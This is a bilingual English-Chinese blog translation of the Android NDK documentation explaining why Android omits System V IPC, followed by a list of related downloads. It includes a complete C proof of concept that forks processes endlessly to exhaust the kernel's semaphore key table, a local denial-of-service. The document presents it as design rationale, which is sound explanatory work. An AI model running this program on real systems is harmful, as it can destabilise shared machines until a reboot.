`

【翻译】(17)SYSV IPC

 
阅读更多

-----------------

英文文档见android-ndk-r6b的documentation.html

属于Android Native Development Kit (NDK)的一部分

http://developer.android.com/sdk/ndk/index.html

翻译仅个人见解

-----------------

 

Android does not support System V IPCs, i.e. the facilities provided by the following standard Posix headers:

 

Android不支持系统五进程间通信。即以下标准Posix头文件提供的工具:(注:Posix是Unix可移植操作系统接口的简称,是一种操作系统的API标准,但不限于Unix)

 

  <sys/sem.h>   /* SysV semaphores 系统五信号量*/

  <sys/shm.h>   /* SysV shared memory segments 系统五内存段*/

  <sys/msg.h>   /* SysV message queues 系统五消息队列*/

  <sys/ipc.h>   /* General IPC definitions 通用进程间通信定义*/

 

The reason for this is due to the fact that, by design, they lead to global kernel resource leakage.

 

之所以要这样做,是因为这样的事实,设计上它们会导致全局内核资源泄漏。

 

For example, there is no way to automatically release a SysV semaphore allocated in the kernel when:

 

例如,没有一种方法自动地释放在内核中分配的系统五信号量,当:

 

- a buggy or malicious process exits

 

- 一个有缺陷或恶意的进程存在。

 

- a non-buggy and non-malicious process crashes or is explicitly killed.

 

- 一个无缺陷且无恶意的进程崩溃或显式地被杀掉。

 

Killing processes automatically to make room for new ones is an important part of Android's application lifecycle implementation. This means that, even assuming only non-buggy and non-malicious code, it is very likely that over time, the kernel global tables used to implement SysV IPCs will fill up.

 

自动杀掉进程以腾出空间给新的进程,是Android应用程序生命周期实现的重要部分。这意味着,即便假设只有无缺陷且无恶意的代码,还是非常可能在不久后,用于实现系统五IPC的内核全局表将被填满。

 

At that point, strange failures are likely to occur and prevent programs that use them to run properly until the next reboot of the system.

 

到那时,奇怪的失败有可能会发生,并且阻止使用它们的程序正常运行,直至下一次系统重启。

 

And we can't ignore potential malicious applications. As a proof of concept here is a simple exploit that you can run on a standard Linux box today:

 

而且,我们不可以忽略潜在的恶意应用程序。作为这个观点的证明,这里有一个简单的漏洞(注:这里应该理解为漏洞或溢出攻击),如今你可以运行它在一个标准Linux机器里:

 

--------------- cut here ------------------------

#include <sys/sem.h>

#include <sys/wait.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

 

#define  NUM_SEMAPHORES  32

#define  MAX_FAILS       10

 

int  main(void)

{

    int   counter = 0;

    int   fails   = 0;

 

    if (counter == IPC_PRIVATE)

        counter++;

 

    printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);

 

    for (;;) {

        int  ret = fork();

        int  status;

 

        if (ret < 0) {

            perror("fork:");

            break;

        }

        if (ret == 0) {

            /* in the child 在子进程中*/

            ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );

            if (ret < 0) {

                return errno;

            }

            return 0;

        }

        else {

            /* in the parent 在父进程中*/

            ret = wait(&status); //注:等待,直至其中一个子进程退出

            if (ret < 0) {

                perror("waitpid:");

                break;

            }

            if (status != 0) {

                status = WEXITSTATUS(status);

                fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,

                                counter, status);

                if (++fails >= MAX_FAILS)

                    break;

            }

        }

 

        counter++;

        if ((counter % 1000) == 0) {

            printf("%d\n", counter);

        }

        if (counter == IPC_PRIVATE)

            counter++;

    }

    return 0;

}

--------------- cut here ------------------------

 

If you run it on a typical Linux distribution today, you'll discover that it will quickly fill up the kernel's table of unique key_t values, and that strange things will happen in some parts of the system, but not all.

 

今时今日如果你在一个典型的Linux分发版上运行这个程序,你将发现它很快用唯一的key_t值占满内核表,而且将会在系统的某些部分发生奇怪的事情,但不是全部。

 

(You can use the "ipcs -u" command to get a summary describing the kernel tables and their allocations)

 

(你可以使用ipcs -u命令获取一个描述内核表及其分配的概要)

 

(注:ipcs用于提供IPC设施的状态信息,-u表示summary,我在ubuntu上得到的有共享内存,信号量,消息三项)

 

For example, in our experience, anything program launched after that that calls strerror() will simply crash. The USB sub-system starts spoutting weird errors to the system console, etc...

 

例如,以我们的经验看,在发生这种泄漏之后,程序所做的任何事情,一旦其中调用了strerror()就会简单地崩溃。USB子系统开始不断输出奇怪的错误到系统控制台,等等……

 

分享到:
评论

相关推荐

    python2-sysv_ipc-0.7.0-4.el7.x86_64.rpm

    官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装

    python-sysv_ipc-examples-1.0.0-3.el8.aarch64.rpm

    官方离线安装包,测试可用。使用rpm -ivh [rpm完整包名] 进行安装

    python-sysv_ipc-examples-0.7.0-4.el7.x86_64.rpm

    官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装

    Linux操作系统SYSV进程间通信.pptx

    Linux操作系统中的SYSV进程间通信(IPC,Inter-Process Communication)是系统提供的让不同进程之间交换数据和协调工作的机制。在Linux中,主要有三种类型的SYSV IPC:信号量(Semaphore)、消息队列(Message Queue...

    10-6Linux操作系统 - SYSV进程间通信.pptx

    Linux操作系统中的SYSV进程间通信(IPC)是进程间共享数据和协调操作的重要机制,主要包括三种类型:信号量(Semaphore)、消息队列(Message Queue)和共享内存(Shared Memory)。这些通信方式允许不同进程之间...

    SYSV进程间通信.pptx

    IPC_SET 命令用于设置 IPC 资源的状态信息,IPC_STAT 命令用于获取 IPC 资源的状态信息,IPC_RMID 命令用于释放 IPC 资源。 ### ipc_ids 结构 ipc_ids 结构是用于描述同一类 IPC 资源的公有数据的结构。它包含了一...

    perl-IPC-SysV-2.07-398.module_el8.4.0+646+45e06e4a.aarch64.rpm

    官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装

    5_sysv_shm

    在Linux操作系统中,进程间通信(IPC,Inter-Process Communication)是多个进程之间共享数据、交换信息的关键技术。本文将深入探讨其中的一种方法——System V共享内存(System V Shared Memory)。System V共享...

    python-sysv_ipc-debugsource-1.0.0-3.el8.aarch64.rpm

    离线安装包,亲测可用

    操作系统 SYSV进程间通信PPT教案学习.pptx

    在SYSV(System V)操作系统中,提供了多种IPC方式,其中包括信号量(Semaphore)、消息队列(Message Queue)和共享内存(Shared Memory)。本教程将主要讨论SYSV IPC中的信号量。 信号量是一种特殊的同步机制,它...

    a_sysv_msgqueue.tgz

    Linux系统中的进程间通信(IPC,Inter-Process Communication)是多进程协同工作的重要机制,它允许不同的进程之间共享数据和消息。System V消息队列是Linux IPC的一种方式,提供了可靠的消息传递服务,允许进程发送...

    perl-IPC-SysV-2.07-397.el8.x86_64.rpm

    离线安装包,亲测可用

    workerman 消息队列,基于Linux sysv 队列实现

    在这个特定的场景中,我们讨论的是Workerman如何实现消息队列,并且是基于Linux的System V(sysv)消息队列进行的实现。消息队列是一种在进程间通信(IPC)中存储和传递消息的机制,它允许进程间异步地发送和接收...

    perl-IPC-SysV-2.07-397.el8.aarch64.rpm

    官方离线安装包,亲测可用

    5_sysv_sync_mutex.tgz

    System V IPC(Interprocess Communication)提供了一组接口,其中包括信号量,来帮助实现这一目标。本压缩包"5_sysv_sync_mutex.tgz"包含了与System V信号量相关的源码示例,它可能包含了一个或多个C语言编写的程序...

    perl-IPC-SysV-2.07-397.el8.ppc64le.rpm

    官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装

    sysv-rc-conf-开源

    **sysv-rc-conf 开源软件详解** sysv-rc-conf 是一款专为 Linux 系统设计的开源工具,主要用于方便用户通过图形化的终端界面管理系统的启动服务。在传统的 SysV init 系统中,系统服务的启动、停止和配置是通过位于...

    sysv_mq:SysV消息队列的Go包装器

    去包装SysV消息队列 sysv_mq是的Go包装器。 使用该库之前,请务必阅读 , 和的这一点很重要。 sysv_mq是一个非常轻巧的包装器,不会对您隐藏任何错误。 可以在上查看公共API的文档。 sysv_mq已在Linux和OS X上进行了...

    gdbserver-7.7.1-armhf-eabi5-v1-sysv

    ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked

    systemd-sysv-219-78.el7_9.5.x86_64.rpm

    官方离线安装包,亲测可用。使用rpm -ivh [rpm完整包名] 进行安装

Global site tag (gtag.js) - Google Analytics